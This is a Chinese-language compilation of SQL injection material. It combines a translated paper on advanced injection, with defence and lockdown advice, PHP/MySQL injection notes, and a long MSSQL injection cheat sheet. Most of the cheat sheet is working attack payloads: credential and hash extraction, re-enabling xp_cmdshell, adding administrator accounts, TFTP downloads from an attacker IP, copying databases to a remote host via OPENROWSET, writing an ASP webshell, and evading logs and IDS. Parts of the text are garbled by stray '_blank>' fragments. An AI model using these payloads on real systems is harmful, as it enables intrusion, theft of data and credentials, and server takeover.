    ?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
    ?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。
    明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。

    为了阐明存储过程的查询注入,执行以下语句:
    sp_who '1' select * from sysobjects
    or
    sp_who '1';select * from sysobjects
    任何一种方法,在存储过程后,追加的查询依然会执行。

    [高级SQL注入]
    通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。
    在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。

    [没有单引号的字符串]
    有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:
    function escape(input)
           input=replace(input,"'","''")
           escape=input
    end function
    无可否认地这防止了我们所有例子的攻击,再除去';'符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。
    如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:
    insert into users values(666,
    char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
    0xffff)
    这就是一个能够往表中插入字符串的不包含单引号的查询。
    淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:
    insert into users values(667,
                       123,
                       123,
                       oxffff)
    SQL SERVER自动地将整型转化为varchar型的值。

    [Second-Order SQL Injection]
    即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
    例如,攻击者可能利用下面的信息在应用程序中注册:
    Username:admin'—
    Password:password
    应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
    insert into users values(123,'admin''—','password',0xffff)
    我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
    username = escape( Request.form("username") );
    oldpassword = escape( Request.form("oldpassword") );
    newpassword = escape( Request.form("newpassword") );
    var rso = Server.CreateObject("ADODB.Recordset");
    var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
    rso.open( sql, cn );
    if (rso.EOF)
    {

    设置新密码的代码如下:
    sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
    rso("username")为登陆查询中返回的用户名
    当username为admin'—时,查询语句为:
    update users set password = 'password' where username='admin'—'
    这样攻击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的密码。
    这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含'符号,例如
    O'Brien
    从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。
    如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如:
    if(not isValid("email",request.querystring("email"))) then
         response.end
    或者类似的方法。

    [长度限制]
    为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害。例如:
    Username:';shutdown—
    这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是:
    drop table <tablename>
    如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令:
    Username:aaaaaaaaaaaaaaa'
    Password:'; shutdown—
    原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这样查询看上去是:
    select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—
    实际上,查询中的用户名已经变为:
    aaaaaaaaaaaaaaa' and password='
    因此最后的SQL语句会被执行。

    [审计]
    SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串:
    Sp_password
    到一个Transact-SQL语句中,这个审计机制记录日志如下:
    --'sp_password' was found in the text of this event.
    -- The text has been replaced with this comment for security reasons.
    这种行为发生在所有的T-SQL日记记录中,即使'sp_password'发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。
    因此,为了隐藏所有注入,攻击者需要简单地在'—'注释字符后追加sp_password,例如:
    Username:admin'—sp_password
    事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。

    [防范]
    这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。

    [输入验证]
    输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。
    下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。
    不同的数据确认方法可以按以下分类:
    1) 努力修改数据使它成为正确的
    2) 拒绝被认为是错误的输入
    3) 只接收被认为是正确的输入
    第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。
    第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。
    第三种情况可能是三种中最好的,但是很难实现。
    从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入,然后搜索输入中已知的错误数据。
    带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:
    Quentin Bassington-Bassington
    我们必须在正确输入中允许连接符号,但是我们也意识到字符序列'—'对SQL SERVER很重要。
    当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测'—','select'和'union',攻击者可以输入:
    uni'on sel'ect @@version-'-
    既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。
    这有一些确认代码的例子:
    方法一——过滤单引号
    function escape(input)
           input=replace(input,"'","''")
           escape=input
    end function

    方法二——拒绝已知的错误输入
    function validate_string(input)
           known_bad=array("select","insert","update","delete","drop","—","'")
           validate_string=true
           for i=lbound(known_bad) to ubound(known_bad)
               if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
                 validate_string=false
                 exit function
               end if
           next
    end function

    方法三——只允许正确的输入
    function validatepassword(input)
           good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
           validatepassword=true
           for i=1 to len(input)
               c=mid(input,I,1)
               if(InStr(good_password_chars,c)=0) then
                   validatepassword=false
                   exit function
               end if
           next
    end function

    [SQL SERVER锁定]
    在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表:
    1.确定连接服务器的方法
       a.确定你所使用的网络库是可用的,那么使用"Network Utility"
    2.确定哪些帐户是存在的
       a.为应用程序的使用创建一个低权限的帐户
       b.删除不必要的帐户
       c.确定所有帐户有强壮的密码;执行密码审计
    3.确定哪些对象存在
       a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的'.dll'文件
       b.移除所有示例数据库——例如'northwind'和'pubs'数据库
    4.确定哪写帐户能过使用哪些对象
       a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限
    5.确定服务器的补丁
       a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。
    6.确定什么应该被日志记录,什么应该在日志中结束。

    PHP的SQL注入资料

    今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
    语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
    解SQL的基本原理。笔记中的代码来自网络。
    ===基础部分===
    本表查询:
    [url]http://127.0.0.1/injection/user.php?username=angel’[/url] and LENGTH(password)=’6
    [url]http://127.0.0.1/injection/user.php?username=angel’[/url] and LEFT(password,1)=’m

    Union联合语句:
    [url]http://127.0.0.1/injection/show.php?id=1′[/url] union select 1,username,password from user/*
    [url]http://127.0.0.1/injection/show.php?id=’[/url] union select 1,username,password from user/*

    导出文件:
    [url]http://127.0.0.1/injection/user.php?username=angel’[/url] into outfile ‘c:/file.txt
    [url]http://127.0.0.1/injection/user.php?username=’[/url] or 1=1 into outfile ‘c:/file.txt
    [url]http://127.0.0.1/injection/show.php?id=’[/url] union select 1,username,password from user into outfile ‘c:/user.txt

    INSERT语句:
    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ‘1′);
    构造homepage值为:http://4ngel.net’, ‘3’)#
    SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘angel’, ‘mypass’, ‘http://4ngel.net’, ‘3’)#’, ‘1′);

    UPDATE语句:我喜欢这样个东西
    先理解这句SQL
    UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’
    如果此SQL被修改成以下形式,就实现了注入
    1:修改homepage值为
    http://4ngel.net’, userlevel=’3
    之后SQL语句变为
    UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’
    userlevel为用户级别
    2:修改password值为
    mypass)’ WHERE username=’admin’#
    之后SQL语句变为
    UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’
    3:修改id值为
    ‘ OR username=’admin’
    之后SQL语句变为
    UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’

    ===高级部分===
    常用的MySQL内置函数
    DATABASE()
    USER()
    SYSTEM_USER()
    SESSION_USER()
    CURRENT_USER()
    database()
    version()
    SUBSTRING()
    MID()
    char()
    load_file()
    ……
    函数应用
    UPDATE article SET title=DATABASE() WHERE id=1
    http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
    SELECT * FROM user WHERE username=char(97,110,103,101,108)
    # char(97,110,103,101,108) 相当于angel,十进制
    http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

    确定数据结构的字段个数及类型
    http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
    http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

    猜数据表名
    http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

    跨表查询得到用户名和密码
    http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

    其他
    #验证第一位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

    ===注入防范===
    服务器方面
    magic_quotes_gpc设置为On
    display_errors设置为Off
    编码方面
    $keywords = addslashes($keywords);
    $keywords = str_replace(”_”,”\_”,$keywords);
    $keywords = str_replace(”%”,”\%”,$keywords);
    数值类型
    使用intval()抓换
    字符串类型
    SQL语句参数中要添加单引号
    下面代码,用于防治注入
    if (get_magic_quotes_gpc()) {
    //….
    }else{
    $str = mysql_real_escape_string($str);
    $keywords = str_replace(”_”,”\_”,$keywords);
    $keywords = str_replace(”%”,”\%”,$keywords);
    }
    有用的函数
    stripslashes()
    get_magic_quotes_gpc()
    mysql_real_escape_string()
    strip_tags()
    array_map()
    addslashes()

    最标准的SQL注入语句

    1.判断有无注入点 
    ; and 1=1 and 1=2 


    2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
    and 0<>(select count(*) from *) 
    and 0<>(select count(*) from admin) ---判断是否存在admin这张表 

    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
    and 0<(select count(*) from admin) 
    and 1<(select count(*) from admin) 

    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
    and 1=(select count(*) from admin where len(*)>0)-- 
    and 1=(select count(*) from admin where len(用户字段名称name)>0) 
    and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
    and 1=(select count(*) from admin where len(*)>0) 
    and 1=(select count(*) from admin where len(name)>6) 错误 
    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
    and 1=(select count(*) from admin where len(name)=6) 正确 

    and 1=(select count(*) from admin where len(password)>11) 正确 
    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
    and 1=(select count(*) from admin where len(password)=12) 正确 

    6.猜解字符 
    and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
    and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
    and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 

    group by users.id having 1=1-- 
    group by users.id, users.username, users.password, users.privs having 1=1-- 
    ; insert into users values( 666, attacker, foobar, 0xffff )-- 

    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS 

    WHERE TABLE_blank>_NAME=logintable- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS 

    WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

    >_id)- 
    UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS 

    WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

    >_id,login_blank>_name)- 
    UNION SELECT TOP 1 login_blank>_name FROM logintable- 
    UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 

    看_blank>服务器打的补丁=出错了打了SP4补丁 
    and 1=(select @@VERSION)-- 

    看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 
    and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 

    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 
    and sa=(SELECT System_blank>_user)-- 
    and user_blank>_name()=dbo-- 
    and 0<>(select user_blank>_name()-- 

    看xp_blank>_cmdshell是否删除 
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_

    blank>_cmdshell)-- 

    xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\

    xplog70.dll-- 

    反向PING自己实验 
    ;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>

    _oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

    加帐号 
    ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

    _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add-- 

    创建一个虚拟目录E盘: 
    ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, 

    run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"-- 

    访问属性:(配合写入一个webshell) 
    declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, 

    run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 

    爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 
    and 0<>(select top 1 paths from newtable)-- 

    得到库名(从1到5都是系统的id,6以上才可以判断) 
    and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
    依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名 

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 

    来得到其他的表。 
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 
    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个

    字段,假设为 user_blank>_id 
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
    (id,...)) 来暴出其他的字段 
    and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 
    依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 

    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(s

    tr(id))) 判断id值 
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
    ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 

    得到WEB路径 
    ;create table [dbo].[swap] ([swappass][char](255));-- 
    and (select top 1 swappass from swap)=1-- 
    ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, 

    @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank

    >_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- 
    ;use ku1;-- 
    ;create table cmd (str image);-- 建立image类型的表cmd 

    存在xp_blank>_cmdshell的测试过程: 
    ;exec master..xp_blank>_cmdshell dir 
    ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 
    ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 
    ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$Content$nbsp;sysadmin;-- 
    ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$Content$nbsp;1866574 /workstations:* /

    times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 
    ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$Content$nbsp;/add;-- 
    exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务 
    exec master..xp_blank>_servicecontrol start, server 
    ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP

    _blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaonian

    g$Content$nbsp;1866574 /add 
    ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC S

    P_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup

     administrators jiaoniang$Content$nbsp;/add 
    ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 

    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 
    ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录

    bak.dat  如果被限制则可以。 
    select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_

    blank>_addlogin hax) 

    查询构造: 
    SELECT * FROM news WHERE id=... AND topic=... AND ..... 
    adminand 1=(select count(*) from [user] where username=victim and right(left(userp

    ass,01),1)=1) and userpass <> 
    select 123;-- 
    ;use master;-- 
    :a or name like fff%;-- 显示有一个叫ffff的用户哈。 
    and 1<>(select count(email) from [user]);-- 
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and 

    status>0) where name=ffff;-- 
    ;update [users] set email=(select top 1 id from sysobjects where xtype=u and nam

    e=ad) where name=ffff;-- 
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and i

    d>581577110) where name=ffff;-- 
    ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 
    ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 
    ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 
    上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
    通过查看ffff的用户资料可得第一个用表叫ad 
    然后根据表名ad得到这个表的ID 得到第二个表的名字 

    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x

    73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 
    insert into users values( 667,123,123,0xffff)-- 
    insert into users values ( 123, admin--, password, 0xffff)-- 
    ;and user>0 
    ;and (select count(*) from sysobjects)>0 
    ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 

    枚举出数据表名 
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 
    这是将第一个表名更新到aaa的字段处。 
    读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 

    and name<>vote);-- 
    然后id=1552 and exists(select * from aaa where aaa>5) 
    读出第二个表,一个个的读出,直到没有为止。 
    读字段是这样: 
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 

    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 

    [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobje

    cts where xtype=u and status>0 and name not in(table1,table2,…) 
    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 

    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
    update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),

    字段列如:1) [ where 条件] 

    绕过IDS的检测[使用变量] 
    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 

    1、 开启远程_blank>数据库 
    基本语法 
    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select *

     from table1 ) 
    参数: (1) OLEDB Provider name 
    2、 其中连接字符串参数可以是任何端口用来连接,比如 
    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;, select * from table 
    3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

    基本语法: 
    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * 

    from table1) select * from table2 
    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用

    中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;,select * from table1) select * from table2 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;,select * from _blank>_sysdatabases) 
    select * from master.dbo.sysdatabases 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;,select * from _blank>_sysobjects) 
    select * from user_blank>_database.dbo.sysobjects 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;,select * from _blank>_syscolumns) 
    select * from user_blank>_database.dbo.syscolumns 
    复制_blank>数据库: 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address

    =192.168.0.1,1433;,select * from table1) select * from database..table1 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Addres

    s=192.168.0.1,1433;,select * from table2) select * from database..table2 

    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: 
    insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,s

    elect * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 
    得到hash之后,就可以进行暴力破解。 

    遍历目录的方法: 先创建一个临时表:temp 
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

     nvarchar(255));-- 
    ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 
    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录

    的目录树结构,并寸入temp表中 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-

    - 查看某个文件的内容 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\Admin

    Scripts\adsutil.vbs enum w3svc 
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_

    dirtree适用权限PUBLIC) 
    写入表: 
    语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 
    语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));-- 
    语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 
    语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 
    语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 
    语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 
    语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 
    语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 
    语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 

    把路径写到表中去: 
    ;create table dirs(paths varchar(100), id int)-- 
    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- 
    and 0<>(select top 1 paths from dirs)-- 
    and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- 
    ;create table dirs1(paths varchar(100), id int)-- 
    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- 
    and 0<>(select top 1 paths from dirs1)-- 

    把_blank>数据库备份到网页目录:下载 
    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk

    =e:\web\down.bak;-- 

    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where 

    xtype=char(85)) T order by id desc) 
    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN)

    ,1) from sysobjects) 参看相关表。 
    and 1=(select user_blank>_id from USER_blank>_LOGIN) 
    and 0=(select user from USER_blank>_LOGIN where user>1) 

    -=- wscript.shell example -=- 
    declare @o int 
    exec sp_blank>_oacreate wscript.shell, @o out 
    exec sp_blank>_oamethod @o, run, NULL, notepad.exe 
    ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>

    _oamethod @o, run, NULL, notepad.exe-- 

    declare @o int, @f int, @t int, @ret int 
    declare @line varchar(8000) 
    exec sp_blank>_oacreate scripting.filesystemobject, @o out 
    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 
    exec @ret = sp_blank>_oamethod @f, readline, @line out 
    while( @ret = 0 ) 
    begin 
    print @line 
    exec @ret = sp_blank>_oamethod @f, readline, @line out 
    end 

    declare @o int, @f int, @t int, @ret int 
    exec sp_blank>_oacreate scripting.filesystemobject, @o out 
    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 
    exec @ret = sp_blank>_oamethod @f, writeline, NULL, 
    <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> 

    declare @o int, @ret int 
    exec sp_blank>_oacreate speech.voicetext, @o out 
    exec sp_blank>_oamethod @o, register, NULL, foo, bar 
    exec sp_blank>_oasetproperty @o, speed, 150 
    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong

